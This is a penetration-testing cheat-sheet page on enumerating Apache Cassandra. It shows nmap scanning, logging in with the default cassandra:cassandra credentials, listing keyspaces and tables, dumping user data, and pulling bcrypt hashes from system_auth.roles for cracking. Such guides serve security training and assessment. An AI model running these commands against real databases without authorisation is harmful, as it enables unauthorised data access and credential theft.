Skip to content
HackIndex.io

Cassandra Enumeration

2 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Apache Cassandra is a distributed NoSQL database that listens on port 9042 (CQL native transport) and 7199 (JMX). Many Cassandra deployments use default credentials or no authentication at all. Enumeration identifies the version, checks for default credentials, and maps keyspaces and tables containing application data.

Port Scanning

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 7199,9042,9160 $TARGET_IP 
PORT     STATE SERVICE    VERSION
7199/tcp open  java-rmi   Java RMI
9042/tcp open  cassandra  Apache Cassandra 4.1.3
9160/tcp closed thrift

Port 9042 is CQL (main client protocol). Port 7199 is JMX (management, often unauthenticated). Port 9160 is the legacy Thrift interface (usually disabled in modern versions).

Default Credentials

Cassandra ships with default credentials cassandra:cassandra. Authentication is disabled by default, meaning any credentials (or none) will work.

┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP 9042 -u cassandra -p cassandra 
Connected to Test Cluster at 10.10.10.50:9042
[cqlsh 6.1.0 | Cassandra 4.1.3 | CQL spec 3.4.6 | Native protocol v5]
cqlsh>

If authentication is disabled, any username/password works. If enabled but defaults not changed, cassandra:cassandra grants superuser access.

Keyspace and Table Enumeration

┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP -u cassandra -p cassandra -e "DESCRIBE KEYSPACES;" 
system       system_auth  system_distributed  system_schema
system_traces  system_views  webapp  analytics

Keyspaces starting with system_ are internal. Application keyspaces (webapp, analytics) contain user data.

┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP -u cassandra -p cassandra -e "USE webapp; DESCRIBE TABLES;" 
users  sessions  api_keys  transactions
┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT * FROM webapp.users LIMIT 10;"

Look for usernames, password hashes, email addresses, and API keys. The system_auth.roles table contains Cassandra user credentials.

Credential Extraction

The system_auth.roles table stores all Cassandra user accounts with their salted password hashes.

┌──(kali㉿kali)-[~]
└─$ cqlsh $TARGET_IP -u cassandra -p cassandra -e "SELECT role, salted_hash FROM system_auth.roles;" 
 role       | salted_hash
-----------+--------------------------------------------------------------
 cassandra | $2a$10$abcdefghijklmnopqrstuuABCDEFGHIJKLMNOPQRSTUVWXYZ01234

Password hashes use bcrypt ($2a$). Crack with hashcat -m 3200 or john --format=bcrypt.

If unauthenticated access is confirmed, continue to Cassandra exploitation for data extraction and user creation.

References